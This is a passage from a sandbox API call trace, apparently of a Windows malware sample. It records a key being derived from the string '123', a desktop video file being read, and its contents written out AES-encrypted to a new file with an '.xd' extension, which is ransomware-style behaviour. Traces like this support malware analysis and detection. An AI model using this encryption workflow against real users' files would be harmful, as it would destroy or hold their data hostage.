wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.210] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.210] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.210] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.211] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.212] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.212] CryptHashData (hHash=0x164c7b0, pbData=0x16294d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.213] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.214] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.214] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.214] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.214] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.215] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.215] CryptDeriveKey (in: hProv=0x16323a8, Algid=0x6610, hBaseData=0x164c7b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8b0) returned 1 [0075.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.215] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.216] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.216] CryptDestroyHash (hHash=0x164c7b0) returned 1 [0075.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.217] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f0nauit.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.218] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.218] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.218] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.218] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f0nauit.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.225] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.225] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x62f7, lpOverlapped=0x0) returned 1 [0075.227] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.231] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.231] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.231] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.231] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.231] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.232] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.232] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.232] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.232] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.232] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.232] CryptGetKeyParam (in: hKey=0x164c8b0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.233] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.233] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.233] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.233] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.233] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.234] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.234] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.234] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.234] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.234] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.234] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.234] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.234] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.234] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.234] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.234] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.234] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.235] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.235] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x62f7, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x6300) returned 1 [0075.235] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.235] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.235] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.235] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.235] CharLowerBuffW (in: lpsz="byte[25345]", cchLength=0xb | out: lpsz="byte[25345]") returned 0xb [0075.236] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.239] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.239] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.239] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.239] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.239] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.240] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17ed120*, pdwDataLen=0x130e618*=0x62f7, dwBufLen=0x6300 | out: pbData=0x17ed120*, pdwDataLen=0x130e618*=0x6300) returned 1 [0075.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.240] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.240] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.240] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.240] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.240] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.240] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.240] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.243] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x6300, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x6300, lpOverlapped=0x0) returned 1 [0075.273] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.273] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.273] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.273] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.273] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.273] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 